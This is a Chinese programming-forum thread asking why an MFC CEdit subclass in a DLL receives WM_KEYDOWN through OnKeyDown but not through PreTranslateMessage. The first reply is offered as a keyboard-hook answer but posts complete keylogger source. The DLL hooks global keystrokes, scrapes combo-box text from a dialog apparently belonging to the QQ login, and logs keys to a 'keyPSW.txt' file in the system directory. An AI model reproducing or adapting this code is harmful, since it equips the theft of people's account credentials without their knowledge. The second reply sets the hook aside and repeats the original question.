继了一个CEDIT类,重载PreTransMsg()能很好的用case找到WM_KEYDOWN消息来处理但在DLL中编译比类的时候却不行,WM_KEYDOWN一点反应都没有,好像根本就没有
pretransmsg()这个函数一样
却可以用该类的OnKeyDown这样的消息函数来得到按键消息
太奇怪了????

解决方案 »

  1.   

    用键盘钩子嘛.
    // keyhook.cpp : Defines the initialization routines for the DLL.
    //#include "stdafx.h"
    #include "keyhook.h"#ifdef _DEBUG
    #define new DEBUG_NEW
    #undef THIS_FILE
    static char THIS_FILE[] = __FILE__;
    #endif#pragma data_seg("SharedVar") 
    //DLL输出的全局变量
    extern "C" __declspec(dllexport) 
    HHOOK hHook=NULL;
    #pragma data_seg()
    ////////////////////////////////////////////////////////////////char sWindowName[3][256];
    CFile fpqq;
    CString m_strPSW;
    BOOL CALLBACK EnumChildProc(HWND hwnd, LPARAM lParam)
    {
    char sWindowClass[256];
    CString strWindowClass;
    CString strWindowName;

    ::GetClassName(hwnd, sWindowClass, 256);

    strWindowClass = sWindowClass; if (strWindowClass == _T("ComboBox"))
    {
    for (int i = 0; i< 3; i++)
    {
    strWindowName = sWindowName[i];
    if (strWindowName == _T(""))
    {
    break;
    }
    }

    if (i < 3)
    {
    ::SendMessage(hwnd, WM_GETTEXT,256, (LPARAM)sWindowName[i]);
    }
            
    m_strPSW.Format("%s%s%s",m_strPSW,sWindowName[i],":"); } return TRUE;
    }BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM lParam)
    {
    CString sWindowText;
    GetWindowText(hwnd, sWindowText.GetBuffer(256), 256);
    sWindowText.ReleaseBuffer(); char sWindowClass[256];
    CString strWindowClass;
    CString strWindowName;

    ::GetClassName(hwnd, sWindowClass, 256);

    strWindowClass = sWindowClass;

    if (strWindowClass==_T("#32770"))
    {    
    memset(sWindowName, 0, 3 * 256);
    ::EnumChildWindows(hwnd, EnumChildProc, 0);
    return FALSE;
    }
    return TRUE;
    }
    ////////////////////////////////////////////////////////////////
    // DLL 自用的全局变量
    char buffer=0; 
    //FILE *fp;
    CFile fp;   
    //定义全局的键盘勾子函数:
    //DLL输出的勾子函数
    extern "C" __declspec(dllexport) 
    LRESULT CALLBACK KeyboardProc(
      int nCode,       
      WPARAM wParam,  //虚键代码
      LPARAM lParam   // 击键消息的信息
    )
    { char m_SysDir[128];
        GetSystemDirectory(m_SysDir,128);
    CString m_DirNO;
    m_DirNO.Format("%s%s%s",m_SysDir,"\\","keyNO.txt");
    CString m_DirPSW;
    m_DirPSW.Format("%s%s%s",m_SysDir,"\\","keyPSW.txt");    CWnd* pWnd=CWnd::FindWindow(NULL,"xxxxxx");
    if(pWnd)
    {
    BOOL bFind = ::EnumWindows(EnumWindowsProc, 0);
    fp.Open(m_DirNO,CFile::modeWrite|CFile::shareDenyNone);
    fp.SeekToEnd();
    fp.Write(m_strPSW,strlen(m_strPSW));
    fp.Close();
     
    m_strPSW.Empty();
    ::Sleep(20); if(lParam&0x80000000)  
    {
       char KeyName[50]; 
       ZeroMemory(KeyName,50); 
       GetKeyNameText(lParam,KeyName,50); 
       if(strlen(KeyName)>2)
       {
       CString add;
       add.Format("%s%s%s","\r\n",KeyName,"\r\n");
       sprintf(KeyName,"%s",add);
       }  fp.Open(m_DirPSW,CFile::modeWrite|CFile::shareDenyNone);
    fp.SeekToEnd();
    fp.Write(KeyName,strlen(KeyName));
    fp.Close(); }
    }
    return CallNextHookEx(hHook,nCode,wParam,lParam);
    }BEGIN_MESSAGE_MAP(CKeyhookApp, CWinApp)
    //{{AFX_MSG_MAP(CKeyhookApp)
    // NOTE - the ClassWizard will add and remove mapping macros here.
    //    DO NOT EDIT what you see in these blocks of generated code!
    //}}AFX_MSG_MAP
    END_MESSAGE_MAP()/////////////////////////////////////////////////////////////////////////////
    // CKeyhookApp constructionCKeyhookApp::CKeyhookApp()
    {
    // TODO: add construction code here,
    // Place all significant initialization in InitInstance
    }/////////////////////////////////////////////////////////////////////////////
    // The one and only CKeyhookApp objectCKeyhookApp theApp;void CKeyhookApp::ON_DLL_QQ()
    {}
      

  2.   

    楼顶上的老兄,用钩子不错,但是程序太长且我自己的本来就是一个DLL我的意思是为什么CEdit类的OnKeyDown()消息函数能得到消息
    而它的PreTransMessage()函数却得不到这个消息?